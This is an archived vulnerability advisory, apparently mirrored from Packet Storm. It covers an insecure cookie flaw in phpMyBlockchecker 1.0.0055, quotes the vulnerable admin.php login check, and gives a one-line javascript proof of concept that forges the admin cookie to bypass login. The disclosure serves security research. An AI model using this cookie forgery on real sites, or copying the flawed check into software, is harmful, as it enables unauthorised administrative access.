Lucene search
K

phpMyBlockchecker 1.0.0055 Insecure Cookie

🗓️ 30 Jun 2009 00:00:00Reported by SirGodType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 16 Views

Insecure cookie handling vulnerability in phpMyBlockchecker 1.0.0055 discovered by SirGod.

Code
`################################################################################################################  
[+] phpMyBlockchecker 1.0.0055 Insecure Cookie Handling Vulnerability  
[+] Discovered By SirGod  
[+] http://insecurity-ro.org  
[+] http://h4cky0u.org  
#################################################################################################################  
  
[+] Download Script :  
http://sourceforge.net/project/showfiles.php?group_id=116966&package_id=152150&release_id=326884  
  
[+] Insecure Cookie Handling  
  
- Vulnerable code in admin.php  
  
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------  
if ($_COOKIE[PHPMYBCAdmin] == '') {  
if (!$_POST[login] == 'login') {  
die("Please Login:<BR><form method=post><input type=password  
name=password><input type=hidden value=login name=login><input  
type=submit></form>");  
} elseif($_POST[password] == $bcadminpass) {  
setcookie("PHPMYBCAdmin","LOGGEDIN", time() + 60 * 60);  
header("Location: admin.php"); } else { die("Incorrect"); }  
}  
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------  
  
- PoC  
  
javascript:document.cookie = "PHPMYBCAdmin=LOGGEDIN; path=/";  
document.cookie = "1246371700; path=/";  
  
  
#################################################################################################################  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation